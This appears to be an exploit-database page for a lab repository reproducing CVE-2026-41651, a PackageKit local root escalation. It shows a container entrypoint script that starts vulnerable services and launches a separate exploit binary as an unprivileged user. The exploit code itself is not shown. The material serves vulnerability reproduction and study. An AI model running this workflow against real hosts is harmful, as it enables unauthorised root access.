Exploit databaseDownload repository ZIP
GH-5879bc97b40d5c8abf93d600a8040aab
dinosn/pack2theroot-lab
Sources for CVE-2026-41651
9 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
dinosn/pack2theroot-labRevision f85796021a3a
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/entrypoint.sh
Shell · 1,895 bytes#!/bin/bash
set -e
echo "══════════════════════════════════════════════════════════════"
echo " CVE-2026-41651 (Pack2TheRoot) — TOCTOU Exploit Reproduction"
echo "══════════════════════════════════════════════════════════════"
echo ""
echo " PackageKit TOCTOU LPE — versions 1.0.2 through 1.3.4"
echo " This container runs a VULNERABLE PackageKit build (1.3.4)."
echo ""
echo "[*] Starting dbus-daemon..."
mkdir -p /run/dbus
dbus-daemon --system --nopidfile &
sleep 1
echo "[*] Starting polkitd..."
POLKITD_BIN=""
for c in /usr/lib/polkit-1/polkitd /usr/libexec/polkitd; do
[ -x "$c" ] && POLKITD_BIN="$c" && break
done
if [ -n "${POLKITD_BIN}" ]; then
"${POLKITD_BIN}" --no-debug &
sleep 1
fi
echo "[*] Starting packagekitd (vulnerable 1.3.4)..."
/usr/libexec/packagekitd --verbose &
sleep 2
echo "[*] Services ready."
echo ""
echo "══════════════════════════════════════════════════════════════"
echo " Environment ready. Run the exploit as the 'victim' user:"
echo ""
echo " su - victim -c /exploit/cve-2026-41651"
echo ""
echo " Or get a shell: su - victim"
echo "══════════════════════════════════════════════════════════════"
echo ""
if [ "$1" = "--auto" ] 2>/dev/null; then
echo "[*] Auto-mode: running exploit as victim..."
echo ""
su - victim -c /exploit/cve-2026-41651
echo ""
echo "[*] Exploit finished. Dropping to shell."
fi
exec /bin/bash